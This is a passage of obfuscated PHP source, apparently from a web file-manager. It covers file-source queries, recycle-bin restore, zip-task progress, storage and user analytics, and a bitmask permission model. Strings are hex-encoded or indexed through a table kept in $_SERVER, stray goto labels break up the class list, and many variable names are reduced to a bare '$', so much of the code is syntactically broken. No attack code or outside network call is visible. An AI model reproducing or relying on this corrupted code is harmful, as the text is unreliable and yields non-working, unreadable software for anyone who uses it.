$this->targetSourceRoot($ڨ, $, !0); foreach ($ as $) { if (!$) { continue; } $ӮҖ += floatval($[$ߒ[79]]); $ڝ = array($ߒ[652] => array($ߒ[612], $ߒ[594] . $[$ߒ[193]] . $ߒ[613])); $浑 = Model($ߒ[503])->field($ߒ[491])->where($ڝ)->select(); $浑 = array_to_keyvalue($浑, $ߒ[12], $ߒ[193]); $浑 = array_unique(array_filter($浑)); if ($浑) { $ڝ = array($ߒ[491] => array($ߒ[492], $浑)); $ӮҖ += floatval($this->where($ڝ)->sum($ߒ[79])); } } $ӮҖ = !$ӮҖ || $ӮҖ <= 0 ? 0 : $ӮҖ; return $ӮҖ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ϛ홠, $䣀) { $𱷊 =& $_SERVER[]; $̝ = $𱷊[2285] . $Ϛ홠 . $𱷊[11] . $䣀; $ӿ = Cache::get($̝); if ($ӿ) { return $ӿ; } $ = array($𱷊[646] => 0); if ($Ϛ홠 != !1) { $[$𱷊[569]] = $Ϛ홠; $[$𱷊[190]] = $䣀; } $ꀏ = array(); $ꀏ[$𱷊[2286]] = array($𱷊[2287] => LNG($𱷊[2286]), $𱷊[2288] => $this->where($)->count(), $𱷊[617] => $this->where($)->sum($𱷊[79])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$𱷊[486]] = $this->fileTypeWhere($); $ꀏ[$] = array($𱷊[2287] => $[$𱷊[32]], $𱷊[2288] => $this->where($)->count(), $𱷊[617] => $this->where($)->sum($𱷊[79])); } Cache::set($̝, $ꀏ, 1200); return $ꀏ; } public function fileNameExist($, $) { $ǒ =& $_SERVER[]; $Ĭ = $this->field($ǒ[2289])->where(array($ǒ[192] => $, $ǒ[32] => $, $ǒ[505] => 0))->find(); return is_array($Ĭ) ? $Ĭ[$ǒ[193]] : !1; } public function childList($) { $ =& $_SERVER[]; $ޱ = $[2262] . $; if (isset(self::$cacheChildList[$ޱ])) { return self::$cacheChildList[$ޱ]; } $ = array($[192] => intval($), $[505] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$ޱ] = $; foreach ($ as $) { $ޱ = $[533] . $[$[193]]; self::$cacheSourceInfo[$ޱ] = $; } return $; } public function fileNameAuto($Ѯ, $ɪ, $ = REPEAT_RENAME, $ղ = false) { $䱋 =& $_SERVER[]; $ = get_path_ext($ɪ); $à = $ ? get_path_ext_name($ɪ) . $䱋[2290] . $ : $ɪ . $䱋[460]; $ = array($䱋[192] => $Ѯ, $䱋[505] => 0, $䱋[32] => array($䱋[459], $Ã)); $ởϖ = $this->field($䱋[32])->where($)->select(); $ = array_to_keyvalue($ởϖ, $䱋[12], $䱋[32]); return $this->fileNameAutoGet($, $ɪ, $, $ղ); } public function fileNameAutoGet($ɠ, $埱, $, $) { $̥糭 =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ɠ || !in_array_not_case($埱, $ɠ) || $ && $ != REPEAT_RENAME_FOLDER) { return $埱; } if ($ == REPEAT_SKIP) { return !1; } $ = $̥糭[10] . get_path_ext($埱); $ = $ == $̥糭[10] || $ ? $̥糭[12] : $; for ($ = 1; $ <= count($ɠ) + 1; $++) { $ = substr($埱, 0, strlen($埱) - strlen($)); $ = $ . "\x28{$}\x29{$}"; if (!in_array_not_case($, $ɠ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\162\143\145\x5f\162\145\x63\x79\143\x6c\145"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\x54\x69\155\145", "\x74\x69\155\x65", "\151\x6e\x73\145\162\164", "\x66\x75\x6e\143\x74\x69\x6f\156")); public function listData($̕ = false) { $̄֨ =& $_SERVER[]; $̕ = $̕ ? $̕ : USER_ID; $ = $this->where(array($̄֨[1754] => $̕))->select(); return array_to_keyvalue($, $̄֨[12], $̄֨[193]); } public function moveToRecycle($ۭđ) { $ġ =& $_SERVER[]; $띤 = Model($ġ[1411]); $ = $띤->sourceInfo($ۭđ); if (!$ || $[$ġ[505]] == $ġ[91]) { return; } $ = array($ġ[491] => $ۭđ, $ġ[1754] => USER_ID, $ġ[648] => $[$ġ[190]], $ġ[649] => $[$ġ[569]], $ġ[652] => $[$ġ[584]]); $this->add($); $this->recycleMove($ۭđ, 1); if ($[$ġ[485]] == $ġ[91]) { $ګ = array($ġ[652] => array($ġ[612], $[$ġ[584]] . $ۭđ . $ġ[613])); $띤->where($ګ)->setField($ġ[505], 1); } } public function clear() { $this->remove(!1); } public function remove($ίܾ = false, $렽 = false) { $Ċ =& $_SERVER[]; $렽 = $렽 ? $렽 : USER_ID; $祄 = Model($Ċ[1411]); $ɶ = $this->listData($렽); $ίܾ = $ίܾ === !1 ? !1 : $ίܾ; $ې = array(); foreach ($ɶ as $è) { if ($ίܾ != !1 && !in_array($è, $ίܾ)) { continue; } $է = $祄->sourceInfo($è); $祄->remove($è, !1); $͌ = $է[$Ċ[190]] . $Ċ[11] . $է[$Ċ[569]]; $ې[$͌] = array($Ċ[648] => $է[$Ċ[190]], $Ċ[569] => $է[$Ċ[569]]); $this->where(array($Ċ[193] => $è))->delete(); } foreach ($ې as $) { $祄->targetSpaceUpdate($[$Ċ[190]], $[$Ċ[569]]); } } public function restore($ˉѭ = false) { $⧔ = $this->listData(); $this->_restoreSource($⧔, $ˉѭ); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($Α) { $this->_restoreSource(array($Α), array($Α)); } private function _restoreSource($σ, $ϥ) { $瀊 =& $_SERVER[]; $ɝ = Model($瀊[1411]); $ϥ = $ϥ == !1 ? !1 : $ϥ; if (!$σ) { return !0; } $ = array(); foreach ($σ as $) { if ($ϥ != !1 && !in_array($, $ϥ)) { continue; } $ߜƇ = $ɝ->sourceInfo($); $贈 = $ɝ->sourceInfo($ߜƇ[$瀊[192]]); if ($贈[$瀊[505]] == $瀊[91]) { continue; } $ɝ->lockMoveStart($); $this->recycleMove($, 0); if ($ߜƇ[$瀊[485]] == $瀊[91]) { $ֻ = array($瀊[652] => array($瀊[612], $ߜƇ[$瀊[584]] . $ . $瀊[613])); $ɝ->where($ֻ)->setField($瀊[505], 0); $this->restoreFolderChildren($, $σ); } $this->where(array($瀊[193] => $))->delete(); $ɝ->folderSizeReset($ߜƇ[$瀊[192]]); $[] = $ߜƇ[$瀊[192]]; if ($ߜƇ[$瀊[485]] == $瀊[91]) { $[] = $; } $ɝ->lockMoveEnd($); } $ɝ->updateModifyTime($); } private function restoreFolderChildren($ֈ, $ۣ) { $͚ =& $_SERVER[]; $ = Model($͚[1411]); $ = array($͚[193] => array($͚[7], array())); foreach ($ۣ as $) { if ($ == $ֈ) { continue; } if (!$->isParentOf($ֈ, $)) { continue; } $ħ = $->sourceInfo($); if ($ħ[$͚[485]] == $͚[91]) { $[] = array($͚[652] => array($͚[612], $ħ[$͚[584]] . $ . $͚[613])); } else { $[$͚[193]][1][] = $; } } if (!$[$͚[193]][1]) { unset($[$͚[193]]); } if (!$) { return; } if (is_array($[$͚[193]]) && is_array($[$͚[193]][1])) { $[$͚[193]][1] = array_unique($[$͚[193]][1]); } $[$͚[1071]] = $͚[2064]; $->where($)->setField($͚[505], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $͕ = Model($[1411]); $ = Model($[2291]); $± = array($[193] => $); if ($) { $͕->where($±)->setField($[505], 1); $->eventRecycle($, $[2292]); } else { $֔߬ = $͕->where($±)->find(); $э = $֔߬[$[485]] == $[91]; $͏غ = $͕->fileNameAuto($֔߬[$[192]], $֔߬[$[32]], REPEAT_RENAME_FOLDER, $э); if ($͏غ != $֔߬[$[32]]) { $͕->rename($, $͏غ); } $͕->where($±)->setField($[505], 0); $->eventRecycle($, $[2293]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\56\163\157\165\162\143\145\x53\x65\x63\x72\x65\x74\114\x69\x73\x74"; public $field = array("\x73\x6f\165\x72\x63\145\x49\x44", "\x74\x79\160\145\111\x44", "\143\x72\x65\141\164\145\125\x73\x65\x72"); } goto C; BÅ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1887], array($this, $[1877])); Hook::bind($[1879], array($this, $[1880])); $ =& $this->task; $[$[1881]] = $[1272]; if (!$[$[1652]]) { $[$[1652]] = LNG($[1888]); } } protected function endAfter() { $␐ =& $_SERVER[]; parent::endAfter(); Hook::unbind($␐[1887], array($this, $␐[1877])); Hook::unbind($␐[1879], array($this, $␐[1880])); } public function updateAfter() { $ͼ =& $_SERVER[]; $І꽓 =& $this->task; if (!$І꽓[$ͼ[1134]] || !$І꽓[$ͼ[830]]) { return; } if ($І꽓[$ͼ[1881]] == $ͼ[1272]) { $÷ = $І꽓[$ͼ[1817]]; if ($І꽓[$ͼ[1818]] != $ͼ[1272]) { $÷ = 0; } $ = ($І꽓[$ͼ[1821]] + $÷) / $І꽓[$ͼ[830]]; $І꽓[$ͼ[1765]] = $ * 0.3; } else { if ($І꽓[$ͼ[1881]] == $ͼ[389]) { $ = $І꽓[$ͼ[1764]] / $І꽓[$ͼ[1134]]; $І꽓[$ͼ[1765]] = 0.3 + $ * 0.5; } else { if ($І꽓[$ͼ[1881]] == $ͼ[110]) { $ = 0; if ($І꽓[$ͼ[1816]]) { $ = $І꽓[$ͼ[1817]] / $І꽓[$ͼ[1816]]; } $І꽓[$ͼ[1765]] = 0.3 + 0.5 + $ * 0.2; } } } if ($І꽓[$ͼ[1765]] > 0) { $ﷃ = timeFloat() - $І꽓[$ͼ[1767]] - $І꽓[$ͼ[1770]]; $І꽓[$ͼ[1771]] = $ﷃ * (1 - $І꽓[$ͼ[1765]]) / $І꽓[$ͼ[1765]]; } } public function copyFileStart($ۑ, $, $ؓ尽, $Ǧ, $, $㌮) { $ =& $_SERVER[]; parent::copyFileStart($ۑ, $, $ؓ尽, $Ǧ, $, $㌮); $뭴 =& $this->task; if ($뭴[$[1881]] == $[389]) { $뭴[$[1881]] = $[110]; } $this->update(); } public function copyFileEnd($, $샍, $ڻ, $ܕ, $خ, $ۺ) { $ޗ =& $_SERVER[]; $ӽь =& $this->task; $ӽь[$ޗ[1817]] = $ӽь[$ޗ[1816]]; $ӽь[$ޗ[1821]] += $ӽь[$ޗ[1816]]; $ӽь[$ޗ[1818]] = $ޗ[12]; $this->update(); } public function zipEvent($, $٩̌, $Ɯ, $ꆦ) { $ =& $_SERVER[]; $ߏ =& $this->task; $ߏ[$[1814]] = get_path_this($٩̌); $ߏ[$[1816]] = $ꆦ; $ߏ[$[1817]] = $Ɯ; $ߏ[$[1136]] = $ == $[1889] ? $[1884] : $[1885]; $ߏ[$[1818]] = $[12]; $ߏ[$[830]] = $ꆦ; $ߏ[$[1881]] = $[389]; $this->update(); } public function nameParse($) { $ݔ߳ǣ =& $_SERVER[]; $ψƁ =& $this->task; if ($ψƁ[$ݔ߳ǣ[1764]] < $ψƁ[$ݔ߳ǣ[1134]]) { $֏ = get_path_this($); if (strstr($֏, $ݔ߳ǣ[10])) { $ψƁ[$ݔ߳ǣ[1764]] += 1; } } if ($ψƁ[$ݔ߳ǣ[1881]] == $ݔ߳ǣ[1272]) { $ψƁ[$ݔ߳ǣ[1881]] = $ݔ߳ǣ[389]; } $ψƁ[$ݔ߳ǣ[1814]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($뱆ש) { $ƅ =& $_SERVER[]; $֝ = array($ƅ[662] => array($ƅ[33] => $ƅ[1890], $ƅ[350] => array($ƅ[255], $ƅ[832], $ƅ[1891], $ƅ[1892])), $ƅ[1893] => array($ƅ[33] => $ƅ[1894], $ƅ[350] => array($ƅ[255], $ƅ[830], $ƅ[1895], $ƅ[1896], $ƅ[1897]))); if (!isset($֝[$뱆ש])) { return !1; } $this->optionType = $֝[$뱆ש][$ƅ[33]]; $this->field = $֝[$뱆ש][$ƅ[350]]; return !0; } public function listData($蓻dz = false, $ڈ = "\155\157\x64\151\x66\171\124\151\155\145", $ = false) { return parent::listData($蓻dz, $ڈ, $); } public function trendList($) { $ޢ =& $_SERVER[]; $߇ = $this->listData(); if ($߇) { $ = end($߇); $ = date($ޢ[1898], strtotime($ޢ[1899])); if ($[$ޢ[255]] == $) { return $߇; } $ = strtotime($[$ޢ[255]]); } if (!isset($)) { $ = $ == $ޢ[662] ? $ޢ[598] : $ޢ[899]; $ = Model($)->min($ޢ[231]); } $ = $ޢ[1900] . ucfirst($); $۠ = $this->dateList($); foreach ($۠ as $) { $this->{$}($); } return $this->listData(); } private function dateList($銘) { $ٜ =& $_SERVER[]; $͛ = $銘; $ = strtotime($ٜ[1899]); $ü = array(); while ($͛ <= $) { $ü[] = date($ٜ[1898], $͛); $͛ = strtotime($ٜ[1901], $͛); } return $ü; } public function _recordUser($ = '') { $ʽ =& $_SERVER[]; $睵 = strtotime(date($ʽ[1902], strtotime($))); $Ԛ = strtotime(date($ʽ[1903], strtotime($))); $ݺő = array($ʽ[231] => array($ʽ[1084], $Ԛ)); $ݱܩ = Model($ʽ[598])->where($ݺő)->count($ʽ[1763]); $ݺő[$ʽ[231]] = array($ʽ[409], array($睵, $Ԛ)); $ = Model($ʽ[598])->where($ݺő)->count($ʽ[1763]); $ݺő[$ʽ[33]] = $ʽ[1904]; $ٲ = Model($ʽ[1905])->where($ݺő)->count($ʽ[1906]); $ = array($ʽ[255] => $, $ʽ[832] => (int) $ݱܩ, $ʽ[1891] => (int) $, $ʽ[1892] => (int) $ٲ); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1903], strtotime($))); $Եԙ = array($[231] => array($[1084], $)); $ۜ = Model($[544])->where($Եԙ)->sum($[79]); $Եԙ[$[485]] = 0; $Í = Model($[899])->where($Եԙ)->sum($[79]); $Եԙ[$[190]] = 1; $ȥ = Model($[899])->where($Եԙ)->sum($[79]); $Եԙ[$[190]] = 2; $ = Model($[899])->where($Եԙ)->sum($[79]); $ᑇ = array($[255] => $, $[830] => (int) $Í, $[1895] => (int) $ۜ, $[1896] => (int) $ȥ, $[1897] => (int) $); return $this->insert($ᑇ); } public function trend($, $) { $Ƕ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $Ƕ[1736]) { $Ǭ = $[0][$Ƕ[255]]; $ = $this->validDate($, $Ǭ); $ = array(); $ = array_to_keyvalue($, $Ƕ[255]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$Ƕ[255]] = $; if ($ == $Ƕ[662]) { $[$Ƕ[1891]] = $[$Ƕ[1892]] = 0; } } $[] = $; } $ = $; } $튴 = array($Ƕ[662] => array($Ƕ[832] => LNG($Ƕ[1907]), $Ƕ[1891] => LNG($Ƕ[1908]), $Ƕ[1892] => LNG($Ƕ[1909])), $Ƕ[1893] => array($Ƕ[830] => LNG($Ƕ[1910]), $Ƕ[1895] => LNG($Ƕ[1911]), $Ƕ[1896] => LNG($Ƕ[1912]), $Ƕ[1897] => LNG($Ƕ[1913]))); $ = array($Ƕ[662] => $Ƕ[1914], $Ƕ[1893] => $Ƕ[79]); if (empty($)) { $ = date($Ƕ[1898], strtotime($Ƕ[1899])); $ = array($Ƕ[255] => $); foreach ($튴[$] as $Ƭ => $Υ) { $[$Ƭ] = 0; } $[] = $; } $պ = array(); foreach ($ as $Υ) { if ($ == $Ƕ[1893] && $Υ[$Ƕ[1895]] > $Υ[$Ƕ[830]]) { $Υ[$Ƕ[1895]] = $Υ[$Ƕ[830]]; } foreach ($튴[$] as $Ƭ => $) { $ = array($Ƕ[255] => $Υ[$Ƕ[255]], $Ƕ[1652] => $); $[$[$]] = isset($Υ[$Ƭ]) ? $Υ[$Ƭ] : 0; $պ[] = $; } } return $պ; } public function validDate($ԉƇ, $̯) { $ =& $_SERVER[]; $ݷ = date($[1898], strtotime($[1899])); $ӥ = array($ݷ); switch ($ԉƇ) { case $[1743]: $ = mktime(0, 0, 0, date($[1915]), date($[1442]) - date($[1532]) + 7 - 7, date($[1916])); $dž = 0; do { $ = date($[1898], $ - 3600 * 24 * 7 * $dž); $ӥ[] = $; $dž++; } while ($̯ < $); break; case $[1741]: $dž = 1; do { $ = date($[1917], strtotime("\55\40{$dž}\x20\155\x6f\x6e\164\x68\x73")); $ӥ[] = $; $dž++; } while ($̯ < $); break; case $[1918]: $Ǔ = (int) date($[1916], strtotime($̯)); $Ҕ = (int) date($[1916]); if ($Ǔ >= $Ҕ) { break; } for ($Ǔ; $Ǔ < $Ҕ; $Ǔ++) { $ӥ[] = $Ǔ . $[1919]; } break; default: break; } if ($̯ > end($ӥ)) { array_pop($ӥ); } sort($ӥ); return $ӥ; } public function listTable($ƛ) { $ = ucfirst($ƛ); return Model($)->listData(); } public function option($؟) { $ = $_SERVER[][1920] . ucfirst($؟); return $this->{$}(); } private function optionUser() { $œ =& $_SERVER[]; $ɵ = Model($œ[598])->count($œ[1763]); $ = Model($œ[598])->where($œ[1921])->count($œ[1763]); $ = intval($GLOBALS[$œ[6]][$œ[425]][$œ[1709]]) / 3600; $ = strtotime("\55{$}\x20\150\x6f\x75\162\x73"); $ԅ = strtotime(date($œ[1902])); if ($ < $ԅ) { $ = $ԅ; } $⑂ = array($œ[1922] => array($œ[1085], $)); $ގ = (int) Model($œ[598])->where($⑂)->count($œ[1763]); if (!$ގ) { $ގ = 1; } $⑂ = array($œ[1922] => array($œ[1085], $ԅ)); $ߍ = Model($œ[598])->where($⑂)->count($œ[1763]); return array($œ[825] => (int) $ɵ, $œ[1923] => (int) ($ɵ - $), $œ[1924] => (int) $, $œ[1925] => (int) $ߍ, $œ[1926] => $ގ); } private function optionFile() { $ΗҎ =& $_SERVER[]; $ = $this->sourceSize(); $駗 = $[$ΗҎ[79]]; $ە = $[$ΗҎ[1895]]; $ = Model($ΗҎ[899])->where(array($ΗҎ[485] => 0))->count($ΗҎ[193]); $ = array($ΗҎ[485] => 0, $ΗҎ[231] => array($ΗҎ[1085], strtotime(date($ΗҎ[1902])))); $DŽ = Model($ΗҎ[899])->where($)->sum($ΗҎ[79]); $ = Model($ΗҎ[899])->where($)->count($ΗҎ[193]); return array($ΗҎ[830] => $駗, $ΗҎ[1895] => $ە, $ΗҎ[1927] => $駗 - $ە, $ΗҎ[1928] => (int) $DŽ, $ΗҎ[832] => (int) $, $ΗҎ[1929] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[825] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[525] => $this->typeLogCnt($[525]), $[1930] => $this->typeLogCnt($[1930]), $[1931] => $this->typeLogCnt($[1931]), $[662] => $this->typeLogCnt($[12], $[1906])); } private function typeLogCnt($ = '', $ = "\x69\x64") { $ԛ =& $_SERVER[]; $ֶ = array($ԛ[110] => array($ԛ[1932], $ԛ[1933]), $ԛ[525] => array($ԛ[1934], $ԛ[1935]), $ԛ[1930] => array($ԛ[1936], $ԛ[1937], $ԛ[1938]), $ԛ[1931] => array($ԛ[1939], $ԛ[1940]), $ԛ[1941] => array($ԛ[1942], $ԛ[1943], $ԛ[1944])); $ = strtotime(date($ԛ[1902])); $ĀҼ = array($ԛ[231] => array($ԛ[1085], $)); if ($) { $ĀҼ[$ԛ[33]] = array($ԛ[7], $ֶ[$]); } $濃 = Model($ԛ[1905])->where($ĀҼ)->count($); return (int) $濃; } private function optionServer() { $禔 =& $_SERVER[]; $ɜގ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ͽ = array($禔[892] => $[$禔[475]]); $ = Model($禔[544])->where($ͽ)->sum($禔[79]); $ɍ = explode($禔[53], $_SERVER[$禔[147]]); $Ǜ = $ɍ[0]; $ = $GLOBALS[$禔[6]][$禔[21]]; $ = $[$禔[1047]]; if ($ == $禔[1035]) { $Ԅ = explode($禔[1361], $[$禔[1046]]); $ = $Ԅ[0]; } if ($ == $禔[983] || $ == $禔[879]) { $ׁ = Model()->db()->query($禔[1945]); $̂ = $ׁ[0] && isset($ׁ[0][$禔[1651]]) ? $ׁ[0][$禔[1651]] : 0; $ = $禔[1946] . ($̂ ? $禔[8] . $̂ : $禔[12]); } $Ԉ = $GLOBALS[$禔[6]][$禔[425]][$禔[901]]; return array($禔[1947] => $ɜގ ? $ɜގ[$禔[1948]] : 0, $禔[1949] => $ɜގ ? $ɜގ[$禔[1950]] : 0, $禔[1951] => (int) $[$禔[1948]] * 1024 * 1024 * 1024, $禔[1952] => (int) $, $禔[1953] => ucfirst($Ǜ), $禔[1954] => $禔[1955] . PHP_VERSION, $禔[1956] => phpBuild64() ? 64 : 32, $禔[824] => str_replace($禔[1204], $禔[1063], $), $禔[425] => ucfirst($Ԉ), $禔[32] => $_SERVER[$禔[1957]]); } private function diskDriver() { $߯ =& $_SERVER[]; $㤋 = $߯[8]; $ = $GLOBALS[$߯[6]][$߯[1378]] == $߯[1379]; if ($) { $㤋 = $߯[1958]; if (function_exists($߯[1959])) { exec($߯[1960], $ؙ); $㤋 = $ؙ[1] . $߯[8]; } } if (!file_exists($㤋)) { return; } if (!function_exists($߯[1961])) { return; } $Ҭ = @disk_total_space($㤋); $ = $Ҭ - @disk_free_space($㤋); return array($߯[1948] => $Ҭ, $߯[1950] => $); } public function fileChart($溟) { $ʜȵ =& $_SERVER[]; if (isset($溟[$ʜȵ[1763]])) { return Model($ʜȵ[899])->userFileTypeProfile($溟[$ʜȵ[1763]]); } if (isset($溟[$ʜȵ[1962]])) { return Model($ʜȵ[899])->groupFileTypeProfile($溟[$ʜȵ[1962]]); } $ӈ = $this->sourceSize(); $ږݒ = array($ʜȵ[192] => 0, $ʜȵ[190] => 1); $ے = Model($ʜȵ[899])->where($ږݒ)->sum($ʜȵ[79]); $ږݒ[$ʜȵ[190]] = 2; $͒ = Model($ʜȵ[899])->where($ږݒ)->sum($ʜȵ[79]); return array($ʜȵ[830] => $ӈ[$ʜȵ[79]], $ʜȵ[1895] => $ӈ[$ʜȵ[1895]], $ʜȵ[1896] => (int) $ے, $ʜȵ[1897] => (int) $͒); } private function sourceSize() { $ŧ =& $_SERVER[]; $ߙ = Model($ŧ[899])->where(array($ŧ[485] => 0))->sum($ŧ[79]); $Ϗ = Model($ŧ[544])->sum($ŧ[79]); if ($Ϗ > $ߙ) { $Ϗ = $ߙ; } return array($ŧ[79] => (int) $ߙ, $ŧ[1895] => (int) $Ϗ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $刢 = array(array($[494] => LNG($[1963]), $[1964] => $[1965], $[1966] => 1, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[494] => LNG($[1969]), $[1964] => $[1970], $[1966] => 2, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[494] => LNG($[1971]), $[1964] => $[1972], $[1966] => 3, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[494] => LNG($[1973]), $[1964] => $[1974], $[1966] => 4, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_VIEW), array($[494] => LNG($[1975]), $[1964] => $[1976], $[1966] => 5, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[494] => LNG($[1977]), $[1964] => $[1978], $[1966] => 6, $[1967] => 1, $[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[494] => LNG($[1979]), $[1964] => $[1980], $[1966] => 7, $[1967] => 1, $[1968] => 0)); return $刢; } public static function authCheck($, $Չ) { $υǶ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$υǶ[6]][$υǶ[1981]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $Չ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($ƕ) { return self::authCheck($ƕ, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($冯) { return self::authCheck($冯, self::AUTH_SHARE); } public static function authCheckComment($ݛ) { return self::authCheck($ݛ, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ۅʷ, $뿥) { $ =& $_SERVER[]; $ = array($[1982] => self::AUTH_VIEW, $[1272] => self::AUTH_DOWNLOAD, $[110] => self::AUTH_UPLOAD, $[1931] => self::AUTH_EDIT, $[1930] => self::AUTH_REMOVE, $[1941] => self::AUTH_SHARE, $[430] => self::AUTH_COMMENT, $[1751] => self::AUTH_EVENT, $[1983] => self::AUTH_ROOT); if (!isset($[$뿥])) { return; } $Ⱦ = $[$뿥]; $ۅʷ = intval($ۅʷ); if ($ۅʷ <= 0) { return !1; } if (($ۅʷ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ۅʷ & $Ⱦ); } public static function authDisable($ݭ촎, $) { if (intval($ݭ촎) <= 0) { return 0; } return intval($ݭ촎) & ~$; } public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x73\x6f\x75\162\143\145\101\x75\164\150\114\151\x73\x74"; public $field = array("\x6e\x61\155\145", "\x61\x75\x74\150", "\154\x61\142\x65\154", "\x64\x69\163\160\x6c\141\x79", "\x73\171\x73\164\145\155", "\x73\157\162\x74"); public function initData() { $ = $this->authDefault(); foreach ($ as $ќ) { $this->add($ќ); } } public function findAuth($몝, $) { $ =& $_SERVER[]; $ڵރ = parent::listData(); foreach ($ڵރ as $) { $ = intval($[$[487]]); if ($ <= 0 || $[$[1984]] == 0) { continue; } if (($ & $몝) != $몝) { continue; } if (($ & $) != 0) { continue; } return $[$[475]]; } return !1; } public function findAuthMax($ʲ, $ױ) { $ڥ =& $_SERVER[]; $ۜ = !1; $ = parent::listData(); foreach ($ as $ݻ) { $䁹 = intval($ݻ[$ڥ[487]]); if ($䁹 <= 0 || $ݻ[$ڥ[1984]] == 0) { continue; } if (($䁹 & $ʲ) != $ʲ) { continue; } if (($䁹 & $ױ) != 0) { continue; } if (!$ۜ) { $ۜ = $ݻ; continue; } if (intval($ۜ[$ڥ[487]]) < $䁹) { $ۜ = $ݻ; } } return $ۜ ? $ۜ[$ڥ[475]] : !1; } public function findAuthReadOnly() { $آ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($آ, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ͭ = parent::listData(); $Ö = !1; foreach ($ͭ as $) { if ($[$[487]] <= 0 || $[$[1984]] == $[228]) { continue; } if (!$Ö) { $Ö = $; continue; } if ($Ö[$[487]] > $[$[487]]) { $Ö = $; } } return $Ö ? $Ö[$[475]] : $[12]; } public function listData($ = false, $졕 = "\163\x6f\x72\164", $ = false) { return parent::listData($, $졕, $); } public function update($, $ҟ) { $ =& $_SERVER[]; $캺 = parent::listData($); $ = $this->findByName($ҟ[$[32]]); if (!$캺 || $ && $[$[475]] != $캺[$[475]]) { return !1; } $this->filterAuth($ҟ[$[487]]); return parent::update($, $ҟ); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function add($ = array()) { $؍ =& $_SERVER[]; if ($this->findByName($[$؍[32]])) { return !1; } $鈉 = array($؍[32] => $؍[12], $؍[487] => 1, $؍[1985] => $؍[1972], $؍[1984] => 1, $؍[191] => 0, $؍[1986] => 0); $ = array_merge($鈉, $); $[$؍[1986]] = $this->getSort(); $this->filterAuth($[$؍[487]]); return parent::insert($); } private function getSort() { $坬 =& $_SERVER[]; $ˑ = parent::listData(); $ؿ = array_to_keyvalue($ˑ, $坬[12], $坬[1986]); return empty($ؿ) ? 0 : max($ؿ) + 1; } private function filterAuth(&$) { if (!$) { return; } $՞ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, 